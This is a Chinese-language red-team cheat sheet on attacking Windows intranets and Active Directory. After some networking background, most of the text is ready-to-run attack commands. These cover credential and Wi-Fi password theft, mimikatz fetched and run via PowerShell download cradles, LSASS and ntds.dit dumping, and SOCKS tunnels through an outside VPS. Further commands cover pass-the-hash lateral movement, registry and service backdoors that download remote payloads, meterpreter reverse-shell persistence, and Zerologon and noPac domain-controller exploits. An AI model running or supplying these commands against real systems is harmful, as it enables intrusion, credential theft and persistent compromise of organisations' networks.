0x1 内网基础知识
1.内网简介
内网(局域网),指某一区域内由多台计算机通过交换机、路由器等设备互联成的计算机组,方便实现文件管理、应用软件共享、打印机共享、工作组内的历程安排、电子邮件和传真通信服务等功能。
2.工作组
在一些单位内部,由多台计算机组成的局域网,并将不同作用或不同部门的计算机划分加入到不同的工作组中,当需要访问某个部门的资源时,就在“网上邻居”里找到那个部门的工作组名,双击就可以看到那个部门的电脑了,方便大家访问各自的共享资源。计算机通过工作组进行分类,使我们访问的资源结构化更强。缺乏就是没有集中的统一帐户管理,无法对资源进行更加高效率的集中管理,无法实施对工作站的有效配置和安全性严密控制,只适合小规模用户的使用。
3.域环境
域可以简单的理解成工作组的升级版,与工作组相比有更加严格的管安全理机制。
在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为域控制器。,如果你想访问域内的资源,必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。
3.1域控
域控制器负责所有连入的计算机和用户的验证工作,域内计算机想要相互访问,都需要经过域控制器的审核
域控制器中存储着这个域的账户、密码、计算机等其他信息,当计算机连接到域时,域控制器首先要鉴别这台计算机是否属于这个域,以及使用账户的登陆账号是否存在、密码是否正确,如有一项信息不满足,域控制器都会局域这个用户通过这台计算机登陆,使其无法访问计算机中的资源。域控制器是整个域的通信枢纽,所有用户的权限身份验证都在域控制器上进行。
3.2活动目录
活动目录 Active Directory ,简写为 AD,它是 Windows Server 中负责架构中大型网络环境的集中式目录管理服务,在Windows 2000 Server 开始内置于 Windows Server 产品中,是域环境中提供目录服务的组件。
目录包含了有关域内的各种对象,例如用户、用户组、计算机、域、组织单位(OU)以及安全策略的信息。目录存储在域控上,并且可以被网络应用程序或者服务所访问。
活动目录就相当于内网中各种资源的一个目录,通过活动目录用户可以快速定位到这些资源的位置。
活动目录是微软提供的统一管理基础平台,ISA、Exchange、SMS等都依赖这个平台,活动目录主要提供以下功能
- 账号集中管理:所有账号均存储在服务器中,以便执行命令和重置密码等
- 软件集中管理:统一推送软件、安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择需要安装的软件
- 环境集中管理:统一客户桌面、IE、TCP/IP协议等设置
- 增强安全型:统一部署杀毒软件和病毒的扫描任务、集中管理用户的计算机权限、统一制定用户密码策略等。可以监控网络、对资料进行统一管理。
- 更可靠,更短的宕机时间:利用活动目录控制用户访问权限、利用集群、负载均衡等技术对服务器进行容灾设置。网络更可靠,宕机时间更短。
3.3域树
域树是多个域通过建立信任关系组合成的集合,在一个域中,父域可以包含多个子域,各子域之间用”.”号隔开,一个”.”代表一个层次,子域只能使用父域的名字作为其域名的后缀。同一个域树中,父域和子域会自动创建双向信任关系

3.3域林
域森林是指多个域树通过建立信任关系组成的集合,常用在公司兼并中,通过域树之间建立信任关系,可以管理和使用整个域森林中的资源,并保留原有域自身原有的特性

3.4组权限
几个比较重要的全局组、通用组的权限
域管理员组(Domain Admins):该组的成员在所有加入域的服务器、域控制器和活动目录中均默认拥有完整的管理员权限。因为该组会被添加到自己所在域的Administrators组中,因为可以继承Administrators组的所有权限。同时,该组默认会被添加到每台域成员计算机的本地Administrators组中。这样,Domain Admins组就获得了域中所有计算机的所有权。如果希望某用户成为域系统管理员,建议将该用户添加到Domain Admins组中,而不要直接将该用户添加到Administrators组中。
企业系统管理员组(Enterprise Admins):该组是域森林根域中的一个组。该组在域森林中的每个域内都是Administrators组的成员,因此对所有域控制器都有完全访问权。
域用户组(Domain Users):该组是所有的域成员,在默认情况下,任何由我们建立的用户账号都属于Domain Users组,而任何由我们建立的计算机账号都属于Domain Computers组。因此,如果想让所有的账号都获得某种资源存取权限,可以将该权限指定给域用户组,或者让域用户组属于具有该权限的组。域用户组默认是内置域Users组的成员。
架构管理员组(Schema Admins):该组是域森林根域中的一个组,可以修改活动目录和域森林的模式。该组是为活动目录和域控制器提供完整权限的域用户组,因此,该组成员的资格是非常重要的。

4.安全域的划分
划分安全域的目的是将一组安全等级相同的计算机划入同一或特定网段,这个网段的计算机的拥有相同的网络边界,通过一系列安全措施使得网络攻击最小化,当攻击发生时尽可能将威胁隔离,从而降低对域内计算机的影响。
4.1DMZ区
DMZ区称为隔离区,是为了解决安装防火墙后外部网络不能访问内部网络服务器的问题而设立的一个非安全系统与安全系统之间的缓冲区。DMZ位于企业内部网络与外部网路之间,在DMZ区中放置一些必须公开的服务器设施,例如企业web服务器、ftp服务器或论坛服务器等,是对外提供服务的区域。
4.2办公区
公司员工日常工作区,一般会安装防病毒软件、主机入侵检测产品等。一般会遭遇鱼叉攻击、水坑攻击、社会工程学手段等攻击。办公区人员众多且复杂,变动频繁,在安全管理上较为复杂和存在众多问题,是攻击者进入内网的重要途径之一。
4.3核心区
该区域存储着企业重要的数据、文档等资产信息,通过日志记录、安全审计等安全措施进行严密的防护,往往只有很少的主机能够访问,一般能够访问核心区的像运维人员或者IT主管部门等,这些人和计算机会受到攻击者的重点关注。
0x2 信息收集
1.本机信息收集
1.获取网络配置信息
ipconfig /all
run get_local_subnets
2.查看系统信息
systeminfo
3.查询操作系统和版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" //英文版
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" //中文版
4.查询安装软件
wmic product get name,version
5.查询本机服务
wmic service list brief
6.查询进程列表
tasklist /svc
wmic process list brief
7.查询自启动程序信息
wmic startup get command,caption
REG QUERY HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
8.查询计划任务
schtasks /query /fo LIST /v
9.查询补丁信息
wmic qfe get caption,description,HotFixID,Installedon
10.获取wifi连接信息
netsh wlan show profile//列出wifi列表
netsh wlan show profile ssid key = clear //查看指定热点密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear //获取所有wifi密码
11.其他
net user
net localgroup "Administrators"
net statistics workstation //查看开机时间
query user || qwinsta //查看当前在线用户
netstat -nao
net share
netsh firewall show config //防火墙配置
netsh advfirewall set allprofiles state off //关闭防火墙2003之后,管理员权限
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List //查杀软
C:\Users[User]\AppData\Roaming\Microsoft\Windows\Recent \最近打开的项目
reg query "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\TERMINAL SERVER CLIENT\DEFAULT" //rdp连接记录
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections//查询远程桌面是否开启,1为关闭,0为开启
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber//远程桌面端口
reg query "HKLM\System\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f//开启远程左面
12.自动化信息收集
http://github.com/gysf666/wmic_info
13.敏感文件搜集
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*pwd*"
findstr /si password config.* *.ini *.txt *.properties
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt \powershell历史命令
LaZagne项目是一个开源应用程序,用于检索存储在本地计算机上的大量密码
laZagne.exe all //检索全部
laZagne.exe browsers//针对浏览器
Xshell全版本凭证一键恢复工具,针对Xshell全版本在本地保存的密码进行解密
SharpXDecrypt.exe sessions路径

HackBrowserData 是一个浏览器数据(密码 | 历史记录 | Cookie | 书签 | 信用卡 | 下载记录)的导出工具,支持全平台主流浏览器。
hack-browser-data.exe -b all -f json --dir results --cc
一款针对向日葵的识别码和验证码提取工具
对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)。


更多密码破解详情http://forum.butian.net/share/797
14.容器判断
cat /proc/1/cgroup
ls -lh / .dockerenv

2.域信息搜集
1.判断是否存在域
ipconfig /all
systeminfo
net config workstation
2.定位域控
net time /domain
net group "Domain Controllers" /domain
nltest /DCLIST:域名
3.查看域管理员
net group "domain admins" /domain
4.查询域内计算机名
net group "domain computers" /domain
5.域管理员定位
该工具通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,同样也调用到了NetSessionEnum API。某些功能需要管理员权限
PsLoggedon.exe \\PC1 //首次使用加入-accepteula
PsLoggedon.exe administrator
-
PVEFindADUser.exe 可用于查找活动目录用户登陆的位置、枚举域用户,以及查找在特定计算机上登陆的用户,包括查找本地用户。通过RDP远程桌面登陆的用户、通过运行服务和计划任务的用户。运行该工具需要计算机配置.NET Framework 2.0 环境,.NET大于2.0的版本也不行。运行此工具无需管理员权限。
PVEFindADUser.exe -current
6.SPN定位
SPN本身就是正常的kerberos请求,所以扫描隐蔽,它不同于TCP与UDP常规端口扫描。大部分windows已经自带setspn.exe,且此操作无需管理权限。
setspn -T baidu.com -Q */*
7.自动化信息搜集
PowerView是一款依赖PowerShell和WMI对内网进行查询的常用渗透测试脚本,它集成在PowerSploit工具包中。
powershell执行策略
Restricted
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
291.Restricted
Windows 客户端计算机的默认执行策略。
允许运行单个命令,但不允许运行脚本。
阻止运行所有脚本文件,包括格式化和配置文件 ( .ps1xml)、模块脚本文件 ( .psm1) 和 PowerShell 配置文件 ( .ps1)。
2.AllSigned
脚本可以运行。
要求所有脚本和配置文件都由受信任的发布者签名,包括在本地计算机上编写的脚本。
在运行来自你尚未归类为受信任或不受信任的发布者的脚本之前提示你
3.RemoteSigned
Windows 服务器计算机的默认执行策略。
脚本可以运行。
需要可信发布者对从 Internet 下载的脚本和配置文件(包括电子邮件和即时消息程序)进行数字签名。
不要求在本地计算机上编写的脚本(不是从 Internet 下载的)具有数字签名。
运行从 Internet 下载且未签名的脚本(如果脚本未阻止,例如使用Unblock-Filecmdlet)。
有运行来自互联网以外来源的未签名脚本和可能是恶意的签名脚本的风险。
4.Unrestricted
未签名的脚本可以运行。存在运行恶意脚本的风险。
在运行不是来自本地 Intranet 区域的脚本和配置文件之前警告用户。
5.Bypass
没有任何内容被阻止,也没有警告或提示。
此执行策略设计用于将 PowerShell 脚本内置到更大应用程序中的配置,或用于将 PowerShell 作为具有自己的安全模型的程序的基础的配置。
6.Undefined
当前作用域中未设置执行策略。
如果所有作用域中的执行策略都是Undefined,则有效执行策略是Restricted。
改变powershell执行策略
Set-ExecutionPolicy Unrestricted
Import-Module .\PowerView.ps1
常用命令
Get-NetDomain 获取当前用户所在域的名称
Get-NetUser 获取所有用户的详细信息
Get-NetDomainController 获取所有域控制器的信息
Get-NetComputer 获取域内所有机器的详细信息
Get-NetPrinter 获取域中所有当前计算机对象的数组
Get-NetOU 获取域内的OU信息
Get-NetGroup 获取所有域内组和组成员的信息
Get-NetGroupMember 获取指定域组中所有当前用户的列表
Get-NetFileServer 根据SPN获取当前域使用的文件服务器信息
Get-NetShare 获取当前域内所有的网络共享信息
Get-DFSshare 获取域上所有分发文件系统共享的列表
Get-NetSubnet 获取域的其他网段
Get-NetSite 获取域内的当前站点
Get-NetDomainTrust 获取当前用户域的所有信任
Get-NetForestTrust 获取与当前用户的域关联的林的所有信任
Find-ForeignUser 枚举在其主域之外的组中的用户
Find-ForeignGroup 枚举域组的所有成员并查找查询域之外的用户
Invoke-MapDomainTrust 尝试构建所有域信任的关系映射
Get-NetLoggedon 获取主动登录到指定服务器的用户
Get-NetLocalGroup 获取一个或多个远程主机上本地组的成员
Get-NetSession 获取指定服务器的会话
Get-NetRDPSession 获取指定服务器的远程连接
Get-NetProcess 获取远程主机的进程
Get-UserEvent 获取指定用户的日志
Get-ADObject 获取活动目录的对象
Get-NetGPO 获取域内所有的组策略对象
Get-NetGPOGroup 获取域中设置”受限组”的所有GPO
Find-GPOLocation 获取用户/组,并通过GPO枚举和关联使其具有有效权限的计算机
Find-GPOComputerAdmin 获取计算机并通过GPO枚举确定谁对其具有管理权限
Get-DomainPolicy 获取域默认策略或域控制器策略
Get-DomainSID 返回指定域的SID
Invoke-UserHunter 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter 通过查询域内所有的机器进程找到特定用户
Invoke-UserEventHunter 根据用户日志查询某域用户登陆过哪些域机器
Invoke-ShareFinder 在本地域中的主机上查找(非标准)共享
Invoke-FileFinder 在本地域中的主机上查找潜在的敏感文件
Find-LocalAdminAccess 在域上查找当前用户具有本地管理员访问权限的计算机
Find-ManagedSecurityGroups 搜索受管理的活动目录安全组并标识对其具有写访问权限的用户,即这些组拥有添加或删除成员的能力
Get-ExploitableSystem 发现系统可能易受常见攻击
Invoke-EnumerateLocalAdmin 枚举域中所有计算机上本地管理员组的成员
2.[BloodHound](http://github.com/BloodHoundAD/BloodHound)BloodHound以用图与线的形式,将域内用户、计算机、组、Sessions、ACLs以及域内所有相关用户、组、计算机、登陆信息、访问控制策略之间的关系更直观的展现在Red Team面前进行更便捷的分析域内情况,更快速的在域内提升自己的权限。它也可以使Blue Team成员对己方网络系统进行更好的安全检测及保证域的安全性。
BloodHound通过在域内导出相关信息,在将数据收集后,将其导入Neo4j数据库中,进行展示分析。Neo4j是一款NOSQL图形数据库,它将结构化数据存储在网络上而不是表中,Bloodhound正是利用这种特性加以合理分析,可以更加直观的将数据以节点空间”来表达相关数据。
3.网络资产收集
3.1被动信息搜集
arp -a
netstat -nao
route print
tracert 8.8.8.8
3.2自动化收集
for /L %i in (1,1,254) Do @ping -w 1 -n 1 172.16.xx.%i | findstr "TTL=" //windows
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
msf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27针对内网存活主机
auxiliary/scanner/discovery/arp_sweep ARP扫描
auxiliary/scanner/discovery/udp_sweep UDP扫描
auxiliary/scanner/netbios/nbname NETBIOS扫描
auxiliary/scanner/snmp/snmp_enum SNMP扫描
auxiliary/scanner/smb/smb_version SMB扫描
端口信息探测
auxiliary/scanner/portscan/ack TCP ACK端口扫描
auxiliary/scanner/portscan/ftpbounce FTP bounce端口扫描
auxiliary/scanner/portscan/syn SYN端口扫描
auxiliary/scanner/portscan/tcp TCP端口扫描
auxiliary/scanner/portscan/xmas TCP XMas端口扫描
内网服务探测
auxiliary/scanner/ftp/ftp_version 探测内网ftp服务,默认探测21端口
auxiliary/scanner/ssh/ssh_version 探测内网ssh服务,默认探测22端口
auxiliary/scanner/telnet/telnet_version 探测内网telnet服务,默认探测23端口
auxiliary/scanner/dns/dns_amp 探测dns服务,默认探测53端口
auxiliary/scanner/http/http_version 探测内网http服务,默认探测80端口
auxiliary/scanner/http/title 探测内网http服务的标题
auxiliary/scanner/smb/smb_version 探测内网smb服务,默认探测的445端口
auxiliary/scanner/mysql/mysql_version 探测内网mysql服务,默认探测3306端口
auxiliary/scanner/rdp/rdp_scanner 探测内网RDP服务,默认探测3389端口
auxiliary/scanner/redis/redis_server 探测内网Redis服务,默认探测6379端口
auxiliary/scanner/db2/db2_version 探测内网的db2服务,默认探测的50000端口
auxiliary/scanner/netbios/nbname 探测内网主机的netbios名字use auxiliarycs
net viewportscan其他插件
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能
fscan.exe -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
Ladon一款用于大型网络渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、网络资产、密码爆破、高危漏洞检测以及一键GetShell,支持批量A段/B段/C段以及跨网段扫描,支持URL、主机、域名列表扫描
Ladon 192.168.1.8/24 OnlineIP //扫描存活主机
Ladon 192.168.1.8/24 MS17010
Ladon 192.168.1.8/24 SmbScan //smb密码爆破
0x3 内网相关攻击手段
3.1代理穿透
1. msf
auxiliary/server/socks_proxy
auxiliary/server/socks4aauxiliary/server/socks5
Cobaltstrike
socks其他插件
2.reGeorg
reGeorg是reDuh的继承者,利用了会话层的socks5协议,结合Proxifier使用效率更高,Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过SOCKS代理
python reGeorgSocksProxy.py -p 8080 -u http://domain.com:8080/tunnel.jsp
3.EarthWorm
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透
1.正向socks5
./ew -s ssocksd -l 1080
2.反弹
VPS运行
./ew -s rcsocks -l 1080 -e 8888
目标执行
./ew -s rssocks -d 1.1.1.1 -e 8888
多级联动参考(http://rootkiter.com/EarthWorm/)[http://rootkiter.com/EarthWorm/]
4.Venom
使用Go开发的多级代理工具,Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理,并轻松地管理代理节点。
./admin_linux_x64 -lport 9999
agent.exe -rhost 192.168.1.9 -rport 9999
show //查看节点
goto 1 //进入1节点
socks 8888 //开启socks监听

5.frp
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
frps.ini
1
2[common]
bind_port = 8080./frps -c frps.inifrpc.ini
1
2
3
4
5
6
7
8
9
10
11
12[common]
server_addr = 106.75.249.3
server_port = 8080
[plugin_socks5]
type = tcp
remote_port = 8081
plugin = socks5
plugin_user = abc
plugin_passwd = abc123456
use_encryption = true //加密压缩传输
use_compression = truefrpc.exe -c frpc.iniproxychains
leafpad /etc/proxychains.conf1
2#socks5 127.0.0.1 5555 admin admin
socks4 127.0.0.1 1080proxychains nmap -Pn sT -p3389,22,3306 127.0.0.1
3.2口令获取
Windows用户hash存放位置
C:\windows\system32\config\SAM //工作组
%SystemRoot%\ntds\ntds.dit //域
mimikatz
mimikatz 是法国技术大神 Benjamin Delpy 使用 C 语言写的一款轻量级系统调试工具,该工具可以从内存中提取明文密码、散列值、PIN 和 K8S 票据,还可以执行哈希传递、票据传递、构建黄金票据等
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('http://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
导出文件
1
2
3
4
5
6reg save HKLM\SAM sam.hiv
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SECURITY security.hiv
mimikatz.exe
lsadump::sam /sam:sam.hiv /system:system.hiv-
Procdump 是微软官方发布的工具,它用于将正在运行的进程的内存转储到磁盘上的一个核心文件中。然后可以用调试器对这个核心文件进行分析,了解转储时进程的状态。
procdump -accepteula -ma lsass.exe lsassmimikatz.exesekurlsa::minidump lsass.DMPsekurlsa::logonPasswords full 导出 ntds.dit
Ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quitpython3 secretsdump.py -ntds ntds.dit -system system.hiv LOCAL报错使用
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
msf
1
2
3
4
5
6load kiwi
creds_all
hashdump
run post/windows/gather/credentials/domain_hashdump
cs
logonpasswordshashdump
在Windows2012系统及以上的系统或者安装 KB2871997 补丁后,在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
强制锁屏,让其重新登陆
rundll32 user32.dll,LockWorkStation //cmd
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"//powershell
3.3文件传输
1. 文件下载
- certutil
1 | certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt |
powershell
1
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','C:\windows\temp\robots.txt')
bitsadmin
1
bitsadmin /rawreturn /transfer down "http://192.168.1.115/robots.txt" E:\PDF\robots.txt
wget
wget http://site.com/1.rar -O 1.rarcurl
curl http://domain.com/1.rar -o 1.rar
2.简易服务器
python2
python -m SimpleHTTPServer 8080python3
python -m http.server 8080busybox
busybox httpd -f -p 8000php
php -S 0.0.0.0:8080ruby
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'``ruby -run -e httpd . -p 1337
3.4横向移动
1.端口服务及利用方式
1 | 弱口令 |
2.IPC连接
利用条件
1 | 1、目标机开启了139和445端口,且防火墙放行或关闭 |
net use \\192.168.0.1\ipc$ "password" /user:"Administrator" //建立连接
1 | copy beacon.exe \\192.168.0.1\c$ |
3.wmic
由于 Windows 默认不会将 WMI 的操作记录在日志里,因此 WMI 比 PsExec 隐蔽性要更好一些
1 | 1、WMI服务开启,端口135,默认开启。 |
wmic /node:192.168.0.1 /user:administrator /password:xxxxx process call create "cmd.exe /c ipconfig>c:\result.txt"//无回显输入到文件
type \\192.168.0.1\c$\result.txt
4.wmiexec
python3 wmiexec.py administrator:password@192.168.7.7
python3 wmiexec.py -hashes LMHash:NTHash 域名/用户名@目标IP
5.
wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec
cscript //nologo wmiexec.vbs /shell 192.168.0.1 administrator password
cscript wmiexec.vbs /cmd 192.168.7.7 administrator password "ipconfig"//执行单挑命令
6.psexec
利用条件
1 | 1、445端口开放,防火墙放行445端口或关闭 |
PsExec.exe -accepteula \\192.168.1.3 -s cmd.exe
psexec.exe \\ip –accepteula -u username -p password cmd.exe
msf
1
2
3
4
5exploit/windows/smb/psexec
set rhost 192.168.1.2
set smbuser administrtaor
set smbpass password
run
7.
python3 smbexec.py domain.com/administrator:1qaz@WSX@192.168.0.1
8.PTH
1 | privilege::debug |
AES-256 密钥
需要目标机器上安装 KB2871997 补丁
1 | privilege::debug sekurlsa::pth /user:administrator /domain:baidu.com /aes256:7358fb65149672d99b8c9f3dfd0dfeb486b78268e9c5250b23aefbd26f293c60 |
9.DCOM
COM 即组件对象模型 (Component Object Model,COM) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。
利用条件
- 具有本地管理员权限的 PowerShell
- 需要关闭目标系统的防火墙。
- 在远程主机上执行命令时,必须使用域管的 administrator 账户或者在目标主机上具有管理员权限的账户
Impacket 工具包http://github.com/SecureAuthCorp/impacket/tree/master/examples
python3 dcomexec.py teamssix.com/administrator:password@192.168.0.1
python3 dcomexec.py teamssix.com/administrator@192.168.0.1 -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 //使用hash连接
3.5权限提升
1.msf
exploit/windows/local/ //该路径存在大量提权模块
1.快速检查系统可利用漏洞
run post/multi/recon/local_exploit_suggester
2.根据补丁寻找相关漏洞
run post/windows/gather/enum_patches
3.系统配置错误
windows系统服务文件在操作系统启动时加载,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以替换该文件,并伴随系统启动获得控制器
exploit/windows/local/service_permissions
4.可信任服务路径
利用windows文件路径解析的特性,如果一个服务调用的可执行文件没有正确处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。如果一个被适当命名的可执行文件(木马)被上传到受影响的目录中,服务一旦启动,该程序就会以system权限启动。
exploit/windows/local/trusted_service_path
5.注册表键AlwaysInstallElevated
注册表AlwaysInstallElevated 是一个策略选项。windwos 允许低权限用户以 System 权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以 NTAUTHORITY\SYSTEN 权限来安装恶意的 MSI 文件。(默认情况下禁用此设置,需系统管理员手动启用他。)
exploit/windows/local/always_install_elevated
6.UNC相关模块
UAC(User Account Control,用户账号控制)是微软为了提高系统安全性从WindowsVista中引入的技术。作用在于验证用户是否有权限去做某些操作。
1 | exploit/windows/local/bypassuac |
7.令牌窃取
当前系统的某个进程或线程能访问到什么系统资源,完全取决于当前进程是拿着的令牌。进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
1 | load incognito |
2.补丁在线对比
systeminfo > 1.txt
3.
pip install xlrd==1.2.0 //安装库文件
windows-exploit-suggester.py --update //更新数据库
systeminfo >> systeminfo.txt
python windows-exploit-suggester.py -d 2022-03-01-mssb.xls -i systeminfo.txt
4.提权exp
- http://github.com/SecWiki/windows-kernel-exploits
- http://github.com/Ascotbe/Kernelhub
- http://github.com/klsfct/getshell
3.6权限维持
1.注册表启动项
1 | reg add hklm\software\microsoft\windows\currentversion\run /v "shell" /t REG_SZ /d "c:\windows\system32\windowspowershell\v1.0\powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://192.168.1.14:8080/a'))\"" /f |
2.自启动服务
1 | shell sc create "system_update" binpath= "c:\windows\temp\shell.exe" //创建服务 |
3.msf
persistence
run persistence -X -i 60 -p 8888 -r 192.168.0.1- -X:开机自启
- -i:反向连接时间间隔
- -p:反连端口
- -r:反连IP
服务端监听
1
2
3
4
5use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.0.1
set LPORT 8888
runmetsvc
run metsvc –A//自动安装服务后门,监听31337run metsvc –r//卸载后门连接后门
1
2
3
4
5use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST 192.168.0.1
set LPORT 31337
run
4.Empire
1 | powershell/persistence/elevated/registry //注册表 |
3.7会话互转
1.Cs→msf
msf建立监听
1 | use exploit/multi/handler |
cs创建listen
Foreign http
spawn msf
2.msf→cs
cs建立监听
Beacon http
msf转派会话
1 | use exploit/windows/local/payload_inject |
3.8域内漏洞
1.GPP
域管理员在使用组策略批量管理域内主机时,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹\SYSVOL下,默认所有域内用户可访问,虽然被加密,但很容易被解密。这就造成了安全隐患,现实中域管理员往往会在组策略中使用域管理员密码,组策略配置文件中的密码很容易被获得,导致权限提升。
msf
run post/windows/gather/credentials/gpp
2.ms14-068
该漏洞允许经过身份验证的用户在其获得的TGT票据修改PAC来伪造域管理员。
利用条件:
- 已获取域内任意账号密码
- 未打补丁:KB3011780
1 | whoami /user #获取用户SID |
3.CVE-2020-1472
2020年9月11日,安全研究员Secura发布了公告,阐明了漏洞细节,之后相关的EXP也就被构造出来。该漏洞也称为“Zerologon”,CVSS评分为10.0,号称3秒撸域控,危害严重。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。
EXP:http://github.com/dirkjanm/CVE-2020-1472
1.置空域控密码
python3 cve-2020-1472-exploit.py dc_name dc_ip

2.获取hash
python3 secretsdump.py redteam.red/owa\$@10.10.10.8 -just-dc -no-pass

3.使用hash横向移动
python3 psexec.py administrator@10.10.10.8 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7

如果机器账户hash长时间为空,可能会导致脱域,对内网的使用产生重大影响,因此拿到权限的第一时间需要把hash重置回去,重置技巧参考http://www.jianshu.com/p/525be0335404
1 | reg save HKLM\SYSTEM system.save |

对hash进行修复
python3 reinstall_original_pw.py owa 10.10.10.8 9774cb9c026d03f8157bfdf6a9352342
4.CVE-2021-42278&CVE-2021-42287
利用两个漏洞的组合拳可将域普通权限提升为域管权限
EXP:http://github.com/Ridter/noPac
检测漏洞
python3 scanner.py redteam.red/sqlserver:Server12345 -dc-ip 10.10.10.8 -use-ldap

获取shell
python3 noPac.py redteam.red/saul:'admin!@#45' -dc-ip 10.10.10.8 -dc-host owa -shell --impersonate administrator -use-ldap


0x4.参考链接
- http://mp.weixin.qq.com/s?__biz=Mzg5OTYxMjk0Mw==&mid=2247485589&idx=1&sn=f7bb516c4162c30a129a51a7f799c35d
- http://1oecho.github.io/GxKPsWfW5/
- http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650533004&idx=3&sn=9e23fbd52bf574e654410bf280db7e97
- http://mp.weixin.qq.com/s/WaRECg79Nxx08iekakrlMA
- http://mp.weixin.qq.com/s?__biz=MzkyMzI3OTY4Mg==&mid=2247485180&idx=1&sn=118357735fea03756626bb0a6b373c09
- http://mp.weixin.qq.com/s?__biz=MzIxOTM2MDYwNg==&mid=2247508471&idx=2&sn=59395b48ddcd162906f7853f2b0fdf3f
- http://cloud.tencent.com/developer/article/1764454
- http://www.freebuf.com/articles/web/304534.html
- http://blog.csdn.net/qq_41874930/article/details/108825010
- http://xz.aliyun.com/t/10189#toc-31
- http://mp.weixin.qq.com/s/AQA1wOYtOcCkHLzVfBna9A
- http://www.jianshu.com/p/525be0335404
- http://teamssix.com/211027-163641.html